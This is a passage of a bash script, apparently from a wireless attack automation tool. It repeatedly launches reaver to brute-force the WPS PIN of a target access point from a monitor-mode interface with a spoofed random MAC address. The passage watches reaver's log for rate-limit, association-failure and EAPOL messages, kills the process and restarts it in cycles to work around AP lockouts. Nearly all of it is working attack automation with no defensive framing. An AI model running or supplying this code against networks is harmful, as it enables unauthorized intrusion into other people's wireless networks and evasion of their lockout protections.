contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R20 == y || $USE_R20 == Y ]] && [[ $USE_LONG20 == n || $USE_LONG20 == N ]] && [[ $USE_PIN20 == n || $USE_PIN20 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX20" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY20"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -vv -x 60 -r $RX20:$RY20 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R20 == n || $USE_R20 == N ]] && [[ $USE_LONG20 == y || $USE_LONG20 == Y ]] && [[ $USE_PIN20 == n || $USE_PIN20 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R20 == y || $USE_R20 == Y ]] && [[ $USE_LONG20 == y || $USE_LONG20 == Y ]] && [[ $USE_PIN20 == n || $USE_PIN20 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX20" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY20"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -r $RX20:$RY20 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R20 == n || $USE_R20 == N ]] && [[ $USE_LONG20 == n || $USE_LONG20 == N ]] && [[ $USE_PIN20 == y || $USE_PIN20 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -vv -x 60  --pin=$WPS_PIN20 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R20 == y || $USE_R20 == Y ]] && [[ $USE_LONG20 == n || $USE_LONG20 == N ]] && [[ $USE_PIN20 == y || $USE_PIN20 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX20" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY20"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -vv -x 60 -r $RX20:$RY20 --pin=$WPS_PIN20 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

